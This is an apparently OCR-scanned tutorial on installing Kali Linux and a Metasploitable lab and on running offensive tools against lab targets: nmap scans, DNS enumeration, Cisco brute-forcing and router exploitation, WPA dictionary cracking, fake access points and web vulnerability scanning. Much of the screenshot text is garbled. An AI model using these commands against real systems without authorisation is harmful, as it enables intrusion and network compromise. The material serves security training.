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Kali Linux - Installation and Configuration

Kali Linux is one of the best security packages of an ethical hacker, containing a set of
tools divided by the categories. It is an open source and its official webpage is
https://www.kali.org.

Generally, Kali Linux can be installed in a machine as an Operating System, as a virtual
machine which we will discuss in the following section. Installing Kali Linux is a practical
option as it provides more options to work and combine the tools. You can also create a
live boot CD or USB. All this can be found in the following link:
https://www.kali.org/downloads/

BackTrack was the old version of Kali Linux distribution. The latest release is Kali 2016.1
and it is updated very often.
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First, we will download the Virtual box and install it.

Later, we will download and install Kali Linux distribution.

Download and Install the Virtual Box

A Virtual Box is particularly useful when you want to test something on Kali Linux that you
are unsure of. Running Kali Linux on a Virtual Box is safe when you want to experiment
with unknown packages or when you want to test a code.

With the help of a Virtual Box, you can install Kali Linux on your system (not directly in
your hard disk) alongside your primary OS which can MAC or Windows or another flavor of
Linux.

Let’s understand how you can download and install the Virtual Box on your system.

Step 1 - To download, go to https://www.virtualbox.org/wiki/Downloads . Depending
on your operating system, select the right package. In this case, it will be the first one for
Windows as shown in the following screenshot.

VirtualBox

Download VirtualBox

Hara, you will find links to VirtualBox binaries and its source code,

VirtualBox binaries

By downloading, you agrae to the terms and conditions of the respective licenss.

= VirtualBox platform packages. The binaries are released under the terms of the GPL wersion 2.
+ Wi i famdGd

« VirtualBox 5.1.2 for 05 X hosts — amdéd
+ WirtualBox 5.1.2 for Linux hosts
« WirtualBox 5.1.2 for Solaris hosts —amdad

= VirtualBox 5.1.2 Oracle VM VirtualBox Extension Pack = Al supported platforms
Supgpart far USE 2.0 and USE 2.0 devices, VirtualBox RDP and PXE bool Tor Intel cards. See this chapler from the User Manual Tar an inkrodu e
Extensien Pack binaries are released under the WirtualBox Personal Usa and Evaluation License (FUEL].
Please instal the extaniton pack with the saime vevsion 85 yowr nstaifed version of WirtwalBos:
If you are using VirtualBox 5.0.26, please download the extension pack —+ here,
IF you gre using VintualBox 4.3, 38, please downiogg the sxtansion pack = hara,

Step 2 — Click Next.
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% Oracle VM VirtualBox 5.1.2 Setup e |
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w VirtualBox 5.1.2 Setup Wizard
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your computer, Click Next to continue or Cancel to exit the
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Step 3 — The next page will give you options to choose the location where you want to
install the application. In this case, let us leave it as default and click Next.
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Custom Setup

Select the way you want features to be installed,

Click on the icons in the tree below to change the way features will be installed.

(B[ virtuaiBox Application Orade ¥M VirtualBox 5.1.2
--------- (=3 ~ | VirtualBox USE Support application.
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Step 4 — Click Next and the following Custom Setup screenshot pops up. Select the
features you want to be installed and click Next.
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Select the way you want features to be installed,
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Create a shortout in the Quick Launch Bar
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Step 5 — Click Yes to proceed with the installation.

1 Oracle VM VirtualBox 5.1.2 e

Warning:
Network Interfaces

Installing the Orade VM VirtualBox 5.1, 2 Metworking feature
will reset your network connection and temporarily
discannect you from the network.

Proceed with installation now?
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Step 6 — The Ready to Install screen pops up. Click Install.
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Ready to Install
The Setup Wizard is ready to begin the Custom installation,

Click Install to begin the installation. If you want to review or change any of your
installation settings, dick Back. Click Cancel to exit the wizard.

Version 5.1.2 < Back ]| Install || [ Cancel

Step 7 — Click the Finish button.
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Oracle VM VirtualBox 5.1.2
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The Virtual Box application will now open as shown in the following screenshot. Now we
are ready to install the rest of the hosts for this manual and this is also recommended for

professional usage.
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Install Kali Linux

Now that we have successfully installed the Virtual Box, let’'s move on to the next step and
install Kali Linux.

Step 1 - Download the Kali Linux package from its official website:
https://www.kali.org/downloads/


https://www.kali.org/downloads/
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Prebuilt Kali Linux VMware Images

Prebuilt Kali Linux VirtualBox Images

Image Name Torrent  Size Version SHA1S5um
Kali Linux 64 bit VM Torrent  2.0G 2016.1 2b49bf1e77c11ech561824%can9ad6i23a6f5d2d
Kali Linux 32 bit VM PAE | Torrent  2.0G 2016.1 e71867aBbbf7ad55fa437eb7co3fd69e450f6759

Step 2 — Click VirtualBox — New as shown in the following screenshot.
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Step 3 — Choose the right virtual hard disk file and click Open.
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Step 4 — The following screenshot pops up. Click the Create button.

Create Virtual Machine

Mame and operating system

Mame: |Kali 2016. 1. |

Type: | Linux -

Version: | Other Linux (64-hit) -

Memary size

4 MB 3192 MB

4k

MBE

Hard disk

() Do not add a virtual hard disk
() Create a virtual hard disk now
(®) Use an existing virtual hard disk file

Kali-Linux-20 16, 1-vm-amd&4. vmdk (Mormal, 30.00 GE) * [d

Guided Mode |I Cancel

Step 5 — Start Kali OS. The default username is root and the password is toor.
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Update Kali

It is important to keep updating Kali Linux and its tools to the new versions, to remain
functional. Following are the steps to update Kali.

Step 1 — Go to Application — Terminal. Then, type “apt-get update” and the update will
take place as shown in the following screenshot.

root@kali: ~ 200

File Edit View Search Terminal Help
:~# apt-get up
1SS i.mirror
L.mirro

;056 kB/14.1 MB 11%]
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Step 2 — Now to upgrade the tools, type “apt-get upgrade” and the new packages will be
downloaded.
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Step 4 - To upgrade to a newer version of Operating System, type "“apt-get
distupgrade”.

Laboratory Setup

In this section, we will set up another testing machine to perform the tests with the help of
tools of Kali Linux.

Step 1 - Download Metasploitable, which is a Linux machine. It can be downloaded
from the official webpage of Rapid?7:
https://information.rapid7.com/metasploitabledownload.htmI?LS=1631875&CS=web

) rapig7.com g M =

Download Metasploitable

Metasploitable - Virtual Machine to Test Metasploit

Download .'\.x.=.~f.=|'\p||::|h'-1h|-.=., 1.|'IF" |n|:.=.-"f'nr1.a|;;.- villnerable FIR GAK 1@ Gt Btk 16 downicad et acplaitabial

target machine for evaluating .‘-‘.t:".d':;:-.::l'.
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saveral infentional vulnerabilibes for you to explmd. Metasphaitable s

essentially a penetrabon tesing lab in a box, available as a Vidware

virlual machine (WX (The Metasplotabe login is “mafadmin®; the

password is alko “mefadmin® )

Job Title: *

Jot Level: * [Select

Metasploitable is created by the Rapid7 Metasploit team. By
downloading Metasploitable from Rapid7_com, you'll be sure to get the Company: *
latest, clean wersion of the vulnerable machine, plus you'll get it from our
lightning fast download servers

Work Phone: *
Download free version now - yours to keep, no
expiration! Wark Email: *

: ' d Country: * [Sele.
What is Metasploitable? How does it work? (=20

B e —— | [ suBmT |
Step 2 — Register by supplying your details. After filling the above form, we can download
the software.
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Thank you for registering for Metasploitable

To download Metasploitable, click here!
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the mast popular penetration testing soluton on the planst Download
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Step 3 — Click VirtualBox — New.
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Step 4 — Click “"Use an existing virtual hard disk file”. Browse the file where you have
downloaded Metasploitable and click Open.
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Step 5 — A screen to create a virtual machine pops up. Click “Create”.
? ot

Create Virtual Machine

Mame and operating system

MName: | Metasploitable

Type: | Linux
Version: | Ubuntu {54-bit)
Memory size

4 MB

Hard disk

() Do not add a virtual hard disk

() Create a virtual hard disk now

(@ Use an exizting virtual hard disk file

Metasploitable. vmdk (Mormal, 8.00 GE)

8192 MB

(1024 ] v

Guided Mode

Cancel

The default username is msfadmin and the password is msfadmin.
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setasploitable logim: _
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Kali Linux - Information Gathering Tools

In this chapter, we will discuss the information gathering tools of Kali Linux.

NMAP and ZenMAP

NMAP and ZenMAP are useful tools for the scanning phase of Ethical Hacking in Kali Linux.
NMAP and ZenMAP are practically the same tool, however NMAP uses command line while
ZenMAP has a GUI.

NMAP is a free utility tool for network discovery and security auditing. Many systems and
network administrators also find it useful for tasks such as network inventory, managing
service upgrade schedules, and monitoring host or service uptime.

NMAP uses raw IP packets in novel ways to determine which hosts are available on the
network, what services (application name and version) those hosts are offering, which
operating systems (and OS versions) they are running, what type of packet filters/firewalls
are in use, etc.

Now, let’s go step by step and learn how to use NMAP and ZenMAP.

Step 1 — To open, go to Applications — 01-Information Gathering — nmap or zenmap.
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Step 2 — The next step is to detect the OS type/version of the target host. Based on the
help indicated by NMAP, the parameter of OS type/version detection is variable “-0O". For
more information, use this link: https://nmap.org/book/man-os-detection.html

The command that we will use is —
nmap -0 192.168.1.101

The following screenshot shows where you need to type the above command to see the
Nmap output —


https://nmap.org/book/man-os-detection.html

Zenmap

Scan  Tools  Profile

Target: | 192.168.1.101

Command;

05 4 Host
& 192.168.1.101

Filter Hosts

Help

nmap -0 192.168.1.101

ot

Profile: Scan Cancel

e comand that i used

Mmap Qutput Ports / Hosts Topology Host Details  Scans

nmap -0 192,168.1.101

22/tcp
23ftcp
25/tcp
53/tcp
B@/tcp
111/tcp
139/tcp
445 ftcp
512/tcp
513/ tcp
514/tcp
1899/tcp
1524 /tcp
2849/tcp
2121/tcp
3386/ tcp
5432/tcp
5968/ tcp
5008/ tcp
beBT ftcp
g@@9/tcp open ajpl3

8188/tcp open unknown

MAC Address: 88:88:27:D1:33:68 (Oracle VirtualBox
virtual NIC)

Device type: general purpose

Running: Linux 2.6.X--

05 CPE: cpe:/o:linux:linux_kernel:2.6 g
05 details: Linux 2.6.9 - 2.6.33 -l
Metwork Distance: 1 hop

Details

b

ssh

telnet

smip

domain

http
rpcbind
netbios-ssn
microsoft-ds
eXEeC

login

shell
rmiregistry
ingreslock
nfs
ccproxy-fip
mysql
postgresqgl
vne

X11

irc

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

05 details

05 detection performed. Please report any incorrect
results at https://nmap.org/submit/ .

Mmap done: 1 IP address (1 host up) scanned in 17.55
seconds

Step 3 — Next, open the TCP and UDP ports. To scan all the TCP ports based on NMAP, use
the following command —

nmap -p 1-65535 -T4 192.168.1.101

Where the parameter “-

to run.

Following are the results. In green are all the TCP open ports and in red are all the closed

14

P

indicates all the TCP ports that have to be scanned. In this
case, we are scanning all the ports and “-T4” is the speed of scanning at which NMAP has

ports. However, NMAP does not show as the list is too long.




Target: | 192.168.1.101

Command:

05 1 Host
& 192.168.1.101

Filter Hosts

= | Profile:

nmap -p 1-65535 -T4 192.168.1.101

Scan

Mmap Output Ports / Hosts Topology Host Details  Scans

nmap -p 1-63335 -T4 192.168.1.11

b

Starting Mmap 7.12 { https://nmap.org ) at 2016-89-16

18:84 Central European Daylight Time
Mmap scan report for 192.168.1.161
Host is up (@.008818s latency).
Not shown: 65585 closed poris i
PORT STATE SERVICE

21/tcp open fip

227tcp open ssh

237/tcp open telnet

25/tcp open smtp

53/tcp open domain

88/tcp open hittp

111/tcp open rpcbind
139/1tcp open  netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1899/tcp open rmiregistry
1524/tcp open ingreslock
2849/tcp open nfs

2121/tcp open ccproxy-fip
3306/tcp open mysqgl

3632/tcp open distccd
5432/tcp open postgresql
5988/ftcp open wvnc

6808,/ tcp open Xi1

6667 /tcp open irc

6697 /tcp open unknown
g@09/tcp open ajpil3

8188/tcp open unknown

8787 /tcp open unknown
48285/tcp open unknown
51161/tcp open unknown

Cancel

Details

Stealth Scan

Stealth scan or SYN is also known as half-open scan, as it doesn’t complete the TCP
three-way handshake. A hacker sends a SYN packet to the target; if a SYN/ACK frame is
received back, then it's assumed the target would complete the connect and the port is
listening. If an RST is received back from the target, then it is assumed the port isn’t

active or is closed.




SYN+Port number

—

HOST 1 HOST 2

RST

[ Port is Closed

=

SYN+Port number

ﬁ
HOST 1 SYN/ACK HOST 2

_
RST

—

[ Port is Open

-

Now to see the SYN scan in practice, use the parameter =sS in NMAP. Following is the full
command —

nmap -sS -T4 192.168.1.101

The following screenshot shows how to use this command —



Zenmap — O >

Scan  Tools Profile Help
Target: | 192.168.1.101 ~ | Profile: w Scan Cance

Command: | nmap -s5-p 1-6500 192.163.1.101

Senvices Mmap Output Ports / Hosts Tepolegy Host Details  Scans

05 4 Host - nmap -55 -p 1-6500 192.168.1.101 ~ Details

1921681101
Starting Nmap 7.12 { https://nmap.org ) at 2016-89-16
22:34 Central European Daylight Time
Nmap scan report for 192.168.1.181
Host is up (©.88838=z latency).
Mot shown: 6479 closed ports
PORT STATE SERVICE
21/tcp open fip
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
88/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp Dpen| microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1899/tcp open rmiregistry
1524 /tcp open ingreslock
2849/tcp open nfs
2121 /1cp open ccproxy-fip
3386/tcp open mysql
3632/tcp open distccd
5432 /tcp open postgresgl
5988/tcp open wncC
6888/tcp open X11
MAC Address: 88:88:27:D1:33:60 (Oracle VirtualBox
virtual NIC)

Mmap done; 1 IP address {1 host up) scanned in 16.38
seconds

Searchsploit

Searchsploit is a tool that helps Kali Linux users to directly search with the command line
from Exploit database archive.

To open it, go to Applications — 08-Exploitation Tools — searchsploit, as shown in the
following screenshot.



Agpplications + Places = [ Terminal - Thu 1313

Wanites armnitag e

01 - Infermation Gatharing

beef ks fr.
ulnerability Analysis

|'|'|-|;a|:.'|-,:plu',|i1; .

04 - Database smant Ty
- Password Attacks

searchsploit

wvarss Enginaarning

& - Exploitation Tools

termineter
- Forensics

£ = Repuarting Tools

root@kali: ~ e 0 ¢
File Edit View Search Terminal Help

DNS Tools

n this section, we will learn how to use some DNS tools that Kali has

incorporated.
Basically, these tools help in zone transfers or domain IP resolving issues.

dnsenum.pl

The first tool is dnsenum.pl which is a PERL script that helps to get MX,

A, and other
records connect to a domain.

Click the terminal on the left panel.



Applications = Places ~ [&] Terminal = Thu 13:48

root@kali; ~
File Edit View Search Terminal Help
an on 197

; :~# dnsenum
LGB 1.0_24. xm

pass

sglmap, txt

I 0N
Type “dnsenum domain name” and all the records will be shown. In this case, it shows
A records.



brute force file not specified, bay.
~# dnsenum ¢ Jle.com
dnsenum.pl VERSION:1.2.3

example.com

a.lana-servers.net.
b.iana-servers.net.

Trying Zone Transfer for example.com on a.lana-servers.net
AXFR record query failed: RCODE from server: NOTAUTH

DNSMAP

The second tool is DNSMAP which helps to find the phone numbers, contacts, and other
subdomain connected to this domain, that we are searching. Following is an example.

Click the terminal as in the upper section , then write “"dnsmap domain name”

;=i dnsmap S o.al
dnsmap .30 - UNS Network Mapper by pagvac (gnucltizen.org)

[+] searching (sub)domains Tor sssmssssy gl using built-in wordlist

[+] using maximum random delay of 10 millisecond(s) betwsen requests

cpanel . = .al
IP address #1: 1,222

ftp. 2.al
IP address #1: 222

Localhost, 3 .al
IP address #1: 127.0.0.1
[+] warning: domain might be vulnerable to "same cripting [(http://snipurl.com/etbcv)

[+] 2 (sub)domains and 3 IP address{es) found

dnstracer




The third tool is dnstracer, which determines where a given Domain Name Server (DNS)
gets its information from for a given hostname.

Click the terminal as in the upper section, then type “dnstracer domain name”.

:~# dnstracer i . COM
Tracing to : .com[a] via 127.0.0.1, maximum of 3 retries

T2f g 0.1 4127 8 B L]
., .

LBD Tools

LBD (Load Balancing Detector) tools are very interesting as they detect if a given domain
uses DNS and/or HTTP load balancing. It is important because if you have two servers, one

or the other may not be updated and you can try to exploit it. Following are the steps to
use it —

First, click the terminal on the left panel.

Applications = Flaces =  [] Terminal = Thu 13:46

root@kali: ~

201608140818 File Edit View Search Terminal Help
-k scan on 197

L ~F dnsenum
Li El-lL_thm

4 sqlmap. et

v .
Then, type “Ibd domainname”. If it produces a result as "FOUND", it means that the
server has a load balance. In this case, the result is *"NOT FOUND".




: -# 1b |£‘| :

- Lload balancing detector 0.4 - (

M )
positives.

g for HTT

Hping3

Hping3 is widely used by ethical hackers. It is nearly similar to ping tools but is more
advanced, as it can bypass the firewall filter and use TCP, UDP, ICMP and RAW-IP

protocols. It has a traceroute mode and the ability to send files between a covered
channel.

Click the terminal on the left panel.

Applications = Flacez v  [] Terminal = Thu 13:4&

root@kali: ~
File Edit View Search Terminal Help
(~# dnsenum

Type “hping3 -h" which will show how to use this command.



. # |.-.I:I:I i
usage: hplnq? host
-h  --help
-v_--version
=B count
-1 tarval
--fast L1a¢ O : :
--faster igas T i ul@ (100 pac ;T CUHdJ
--flood sent packets as fast as possible. Don't show replies.
-n  --numeric

- ':1

-V

-0 --debug gging info
-2 --hbind yind ctrl+z to ttl (default teo dst port)
-Z  --unbind unbind ctrl+z
--besp beep for every matching packet received
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
57 dp LUDP moda

The other command is “hpingB domain or IP -parameter”

8.1.162 -V
s lﬂl HTH
E HH FLAGS are sat, 40 headers + 0 data

Ad DE id=0 tos=0
tt=0.4 ms

Kall Llnux Vulnerablllty Analyses Tools

In this chapter, we will learn how to use some of the tools that help us exploit devices or
applications in order to gain access.

Cisco Tools

Kali has some tools that can be used to exploit Cisco router. One such tool is Cisco-torch
which is used for mass scanning, fingerprinting, and exploitation.

Let’s open the Terminal console by clicking the left pane.



Applications = Places + [ Terminal = Thu 13:46

root@kali; ~

RRRLLEIRIEEN File Edit View Search Terminal Help
=k scan on 197

L :~# dnsenum
1§ E-lL_24Arn

o
4 sglmap, txt

Then, type “cisco-torch —parameter IP of host” and if there is nothing found to exploit,
then the following result will be shown.

L0 - LOre -
ch.conf . &8

1as h I'1a" Scanner

21.1

s done. Cisco Torch Mass Scanner -

To see what are the parameters that can be used, type “cisco-torch ?”



config file t AT o e
] include and plugin

co-torch <options= <IP,hostname,network=
or: cisco-torch <options> -F <hostlist>

Available options:
-0 <output file=
-A

=1t

-u ( )

-9 ( g or tftp file download
-n \ rprinting scan

- * fingerprinting scan

-1 <type= ogleve

ical (default)

Cisco Auditing Tool

It is a PERL script, which scans Cisco routers for common vulnerabilities. To use it, again

open the terminal on the left pane as shown in the previous section and type “CAT -h
hostname or IP”.

You can add the port parameter “-p” as shown in the following screenshot, which in this
case is 23 to brute-force it.

i~# CAT -p 23 -h 10.2202L.1
Cisco Auditing Tool - gBne [nulld]

Checking Host: 10.22.21.]

Guessing passwords:

pattern match timed-out at fusr/share/cisco-auditing-teol/plugins/brute line 12

Cisco Global Exploiter

Cisco Global Exploiter (CGE) is an advanced, simple, and fast security testing tool. With
these tools, you can perform several types of attacks as shown in the following screenshot.
However, be careful while testing in a live environment as some of them can crash the
Cisco devise. For example, option can stop the services.



~# cge.pl

cge.pl =target= <vulnerability number=

ilit y
Arbitra dministrative Ace Nnerability

[4

B ¥ i)

— e —— ——
o

)

- Denial of Service Vulnerability
ility
wffar Overflow Vulnerability
LY (UTF)
Vulnerability

To use this tool, type “cge.pl IPaddress number of vulnerability”

The following screenshot shows the result of the test performed on Cisco router for the
vulnerability number 3 from the list above. The result shows the vulnerability was
successfully exploited.

.pl 160.22.21.1 3

=

Vulner s5Tul exploited with [http://10.2

BED

BED is a program designed to check daemons for potential buffer overflows, format
strings, et. al.

:~# bed

BED 0.5 by mjm [ www.codito.de )} & ic [ www.snake-basket.de )

JIMAR/PIL/LPD/FINGER

t t after each tast
splugin=" to obtain thes parameters you

In this case, we will test the testing machine with IP 192.168.1.102 and the protocol
HTTP.

The command will be “bed —s HTTP -t 192.168.1.102" and testing will continue.



a:

[ O I B

~l

[0 ]

+ Formatstring

1
E |
4
5

~l

Kali Linux - Wireless Attacks

In this chapter, we will learn how to use Wi-Fi cracking tools that Kali Linux has
incorporated. However, it is important that the wireless card that you has a support
monitoring mode.

Fern Wifi Cracker

Fern Wifi cracker is one of the tools that Kali has to crack wireless.

Before opening Fern, we should turn the wireless card into monitoring mode. To do this,
Type “airmon-ng start wlan-0" in the terminal.



root@kali: =

Fila Edit View 5Search Terminal Help

airmon-ng start wlan@

<ing after
them!

Chipset

wlang Intel 3 iwlwifi - [ ]
{monitor mod nabled on mond)

Now, open Fern Wireless Cracker.

Step 1 — Applications — Click "Wireless Attacks” — “Fern Wireless Cracker”.

Places =  [c] Terminal = Sun 0356

alrcrack-myg
Infermatio
.'_h||,:-
2 - Wulmerability An

feb Application Analysiz cowpatiy
farm wifi cr...
ghent phis
giskizmet
ldsmat
mdk3

= Ferendigs mfoc

o parting Tools

mifterm
al Engineering Tools

Step 2 — Select the Wireless card as shown in the following screenshot.



Fern WIF| Cracker

= wilanD b | & Refresh
=

Monitar Mode Enabled on mond

({'}) Scan for Access points
@WLF Detection Status
Fern WIFI Cracker 1.8 —
VFE) wea Cetection Status

Unable to check for updates,network timeout

| P
- E ! Key Database Mo Key Entries
Python Version: 2.7.3 default :

Aircrack Version: Aircrack-ng 1.1 - (C)

Ot Version: 4.9.3 gﬁmlﬁ ox

About Fern WIFI Cracker
GUI suite for wireless encryption strength testing of 802,11 wireless encryption standard access points

Written by Saviour Emmanuel Ekiko Report Bugs at: saviohoyz@rocketmail.com

Step 3 — Click “Scan for Access Points”.
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Wiritten by Savour Bromeruel Biko Report Bugs at : sa 2@ rodke trrwsil com

Step 4 — After finishing the scan, it will show all the wireless networks found. In this case,
only "WPA networks” was found.
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Step 5 — Click WPA networks as shown in the above screenshot. It shows all the wireless
found. Generally, in WPA networks, it performs Dictionary attacks as such.

Step 6 — Click "Browse” and find the wordlist to use for attack.

AdminlZ3

Step 7 — Click “Wifi Attack”.
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Step 8 — After finishing the dictionary attack, it found the password and it will show as
depicted in the following screenshot picture.

Bruteforcing WFA Encryption

Firlshed

Kismet

Kismet is a WIFI network analyzing tool. It is a 802.11 layer-2 wireless network detector,
sniffer, and intrusion detection system. It will work with any wireless card that supports
raw monitoring (rfmon) mode, and can sniff 802.11a/b/g/n traffic. It identifies the
networks by collecting packets and also hidden networks.

To use it, turn the wireless card into monitoring mode and to do this, type “airmon-ng
start wlan-0" in the terminal.



root@kali: =

Fila Edit View 5Search Terminal Help
1~# airmon-ng start wlanB

se trouble
rtun-ng
want to

Driver

wlang =1 iwlwifi - [phy@]
{monitor mode enabled on mond)

Let’s learn how to use this tool.

Step 1 — To launch it, open terminal and type “kismet”.

*'l.

Applications = Places = [ Terminal = Sun 05:41

- Muick scan on 192

168.1.0_24 ),

Step 2 — Click "OK".



= Kismet Sart ¥iew Windows

Step 3 — Click “Yes” when it asks to start Kismet Server. Otherwise it will stop functioning.

Step 4 — Startup Options, leave as default. Click “Start”.

Step 5 — Now it will show a table asking you to define the wireless card. In such case,
click Yes.



root@kali: ~ -
File Edit View Search Terminal Help

e /wireshark /manuf

db, 27350 lines 547

(]

[ Yes ]

Step 6 — In this case, the wireless source is “wlan0”. It will have to be written in the
section “Intf” — click “"Add”.

rtﬁrer.éb

ing manufacturer db, 27350 lines 547 inde

odump !
mL '

Step 7 — It will start sniffing the wifi networks as shown in the following screenshot.
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Step 8 — Click on any network, it produces the wireless details as shown in the following
screenshot.

File Edit View Search Terminal Help

Network Yiew
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87dBm (max
AdBm (max
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Data Packets:

Mgmt Packets: 15

rypt Packets:
Fragments:
Retries:

L'l e

GISKismet




GISKismet is a wireless visualization tool to represent data gathered using Kismet in a
practical way. GISKismet stores the information in a database so we can query data and

generate graphs using SQL. GISKismet currently uses SQLite for the database and
GoogleEarth / KML files for graphing.

Let’s learn how to use this tool.

Step 1 — To open GISKismet, go to: Applications — Click “"Wireless Attacks” — giskismet.

A& alrerack-ng

E chirp
‘-—-' ferm wifi cr..
a -

5= mdkd

mifae

mbterm

pixiewps layer

GRS fields are missing
As you remember in the previous section, we used Kismet tool to explore data about
wireless networks and all this data Kismet packs in netXML files.

Step 2 - To import this file into Giskismet, type "“root@kali:~# giskismet -x
Kismetfilename.netxml” and it will start importing the files.
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Once imported, we can import them to Google Earth the Hotspots that we found before.

Step 3 — Assuming that we have already installed Google Earth, we click File — Open File
that Giskismet created — Click "Open”.
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The following map will be displayed.
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Ghost Phisher

Ghost Phisher is a popular tool that helps to create fake wireless access points and then
later to create Man-in-The-Middle-Attack.

Step 1 — To open it, click Applications — Wireless Attacks — “ghost phishing”.
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Step 2 — After opening it, we will set up the fake AP using the following details.

Wireless Interface Input: wlan0

SSID: wireless AP name

IP address: IP that the AP will have

WAP: Password that will have this SSID to connect

Ghost Phisher [=]|
V1.64
o Poad | Falop DHS Serees | Falo DHCP Serws | Fake HTTF Server | GHOST Trap | Sembon Hjacking | AFP Cache Prdeoning | Harepsoed Crodeniials | About
Aoepr Point Details
Bres Pos ol C P opakd s A
T
Wheekest ierfae
L Ael
e - e
Aockss Point Gettings
S50 as——— Cryptagraphy
P Addri T <7 i—
| Mz & v wer |
v I
Stanes
.

Step 3 — Click the Start button.

Wifite

It is another wireless clacking tool, which attacks multiple WEP, WPA, and WPS encrypted
networks in a row.

Firstly, the wireless card has to be in the monitoring mode.

Step 1 — To open it, go to Applications — Wireless Attack — Wifite.
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Kali Linux - Website Penetration Testing

In this chapter, we will learn about website penetration testing offered by Kali Linux.

Vega Usage

Vega is a free and open source scanner and testing platform to test the security of web
applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS),
inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java,
GUI based, and runs on Linux, OS X, and Windows.

Vega includes an automated scanner for quick tests and an intercepting proxy for tactical
inspection. Vega can be extended using a powerful API in the language of the web:
JavaScript. The official webpage is https://subgraph.com/vega/

Step 1 — To open Vega go to Applications — 03-Web Application Analysis — Vega


https://subgraph.com/vega/

Favorites
01 - Information Gathering
02 = Vulnerability Analysic
3 = Web Application Analysis
04 - Databaze Assessment
05 - Password Attacks
16 = Wireless Attacks
07 - Reverse Engineering
18 - Exploitation Tools
09 - Sniffing & Spocfing
} - Post Exploitation
- Forensics
- Reporting Tools
13 - Secial Engineering Tools
14 - System Services

Usual applications

(D Scan Alerts
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burpsuite

COImmiix

httrack

' owasp-zap
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skipfish

_- sqlmap

wega

V w3af

webscarab

W FIE Callni

remove and @ not upgraded.
nt-get install ) Ja

Sat 15:50

Subgraph Vega

= B | @ Scan Info

& vEGA

Scan Alert Summary




Step 4 — Enter the webpage URL that will be scanned. In this case, it is metasploitable

& VEGA

machine — click * Next”.

Choose a target for new scan

Scan Target

*| Enter a base URI for scam:

192.168.1.101/dvwa

Choose a target scope for scan

Web Model
-y

Mext > Cancel Finish

Step 5 — Check all the boxes of the modules you want to be controlled. Then, click “*Next”.



Select Modules

Choose which scanner modules to enable for this scan

& VEGA

Select modules to run:

= [= Injection Modules

+ Bash Environment Variable Blind OS Injection (CVE-2014-6271, CVE-2014-6278)|

¥’ HTTP Trace Probes
| Format String Injection Checks
¥ Cross Domain Policy Auditor
¥ XML Injection checks
¥ Eval Code Injection

| Blind XPath Injection Checks

v Blind SQL Text Injection Differential Checks

¥’ XSS Injection checks
' Local File Include Checks

I Integer Overflow Injection Checks
S

3

< Back Next > Cancel Finish

Step 6 — Click "Next” again in the following screenshot.



Authentication Options

Configure cookies and authentication identity to use during
scan

Identity to scan site as:

Set-Cookie or Set-Cookie2 value:

Add cookie

Remove selected cookie(s)

< Back Mext >

& vEGA

Cancel

Finish

Step 7 — Click “Finish”.



Parameters

Add names of parameters to avoid fuzzing during scan

Exclude Parameters

v Exclude listed parameters from scan

—_viewstate

csritoken

anticsrf

——eventtarget
--viewstateencrypted
xsritoken
——eventargument
__eventvalidation

cerfmiddlewaretoken

< Back Cancel Finish

Step 8 — If the following table pops up, click “Yes”.

Target address http://192.168.1.101/dvwa redirects to address
Q http://192.168.1.101/dvwa/login.php

Would you like to add http://192.168.1.101/dvwa/login.php to the scope?

MNa Yeas

The scan will continue as shown in the following screenshot.



File Scan Window Help

@0 : {2} Scanner . Proxy
& website View = B @ Sean Infe e 1
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Scan Alerts =
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B © 1223016 15:54:02 [Auditing]
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@ High (3]
| # Claartext Password over

httpe /192, 168, 1101 dww advwafincludes fidws aP hplds
17 owt of 2% scanned (8. 46%)

= Sesslon Coolde Withaut H
= Session Coolde Without 2
+ ) Medium (7)
- i Low (5} &t Identities B ™0
< i Infe (7)

Scan Alert Summary

Step 9 — After the scan is completed, on the left down panel you can see all the findings,
that are categorized according to the severity. If you click it, you will see all the details of
the vulnerabilities on the right panel such as “Request”, "“Discussion”, "Impact”, and
"Remediation”.

§ Website View = 0O (3 Scan Info i =
"
B F AT & GLANCE
ﬁj o g @ e B3 AL
Classilication Environment
@ 192.168.1.201 Resource Jfdweaflogin.php
] Risk
T
F REQUEST
= = GET 'dvwallogin. ph
g, php

@ 10/22/2016 15:54:02 [Camplet
b DISCUSSION
vage daetected & foom with & patsward mput field thet submits 1o an insecuwre (HTTP) targat,

“th TEY] Password values should newer be sent n the clear across insecure channels. This
wulnarabdity could result in unauthorzed disclosure of passwords to passwe nabtwark

- Cleartext Password ove attackars,

# Session Cookie Without

%] hitpo/f192 168,1.100 {23}

B IMPACT
# Session Cookie Without

» wega has detected a form that can cause a password subrnission over an ingecure

= @ Madium (7 channel
-0 - w This eould resul in dschasure of passwords te netwerk eavesdrappers,
- Infa
ﬂ M P REMEDIATION
* passwards shoud never be sent over chaartest, The form shauld submil te an HTTPS [
target.,

ZapProxy

ZAP-OWASP Zed Attack Proxy is an easy-to-use integrated penetration testing tool for
finding vulnerabilities in web applications. It is a Java interface.



Step 1 - To open ZapProxy, go to Applications — 03-Web Application Analysis —
owaspzap.

burpsuite

= Reporting

xcial Engineering Tools

} SEMVICES

OWASP ZAP o600
ZAP : Licensed under the Apache License, Version 2.0.

g For the other lbraries Included in Z&PF, please refer to respective licenses of the libraries enclosed with this package,

defend, and hold each Contributor harmless fer any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additienal liability.

|

EMND OF TERMS AND CONDITIONS
APPENDIN: How to apply the Apache Licerse to vour work.

To apply the Apache Lcense to your work, attach the following
boilerplate notice, with the fields enclosad by brackets *[]"
replaced with yeur own identifying infermation, (Don't include
the brackets!) The test should be enclosed in the appropriate
comment syntax for the fila format. 'We also recommend that a
file or class name and description of purpese be included on the
same "printed page” as the copyright notice for easier
identification within third-party archives.

Copyright [ywwyy] [name of copyright owner]

Licensed under the Apache License, Version 2.0 (the "Licensa"):
you may not use this file except in compliance with the License,
You may obtain a copy of the License at

hetpedteewer, apache. orgficenses/LICENSE-2,0

Unless required by applicable law or agreed to in wnting, software
distributed under the License is distributed on an "A5 15" BASIS, “\I
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either axpress or implied.

See the Ucense for the specific language governing permissiens and

limitations under the License. _/I

| Accept || Decline

]

ZAP will start to load.

